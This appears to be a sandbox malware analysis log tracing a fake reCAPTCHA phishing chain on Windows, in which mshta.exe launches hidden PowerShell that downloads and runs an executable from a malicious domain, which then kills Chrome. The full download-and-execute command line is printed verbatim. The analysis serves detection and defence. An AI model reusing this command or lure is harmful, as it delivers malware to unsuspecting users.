Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.99:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.46.36:443 -> 192.168.2.16:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.46.36:443 -> 192.168.2.16:49774 version: TLS 1.2

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\downloaded.exe

Jump to dropped file

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	File created: C:\Windows\System32\downloaded_ext.zip
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	File created: C:\Windows\System32\messages_log.txt

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: classification engine

Classification label: mal84.phis.win@35/12@23/179

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6588:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bwsvl2i0.fs2.ps1

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")

Source: C:\Windows\System32\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1920,i,12704983008749592542,2319869984269630859,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://account.order129837129821.one"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1920,i,12704983008749592542,2319869984269630859,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: unknown	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://account.order129837129821.one/captcha # ? ''I am not a robot - reCAPTCHA Verification ID: 3781''
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded.exe "C:\Users\user\AppData\Local\Temp\downloaded.exe"
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded.exe "C:\Users\user\AppData\Local\Temp\downloaded.exe"
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded.exe "C:\Users\user\AppData\Local\Temp\downloaded.exe"
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe

Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\downloaded.exe	Section loaded: profapi.dll
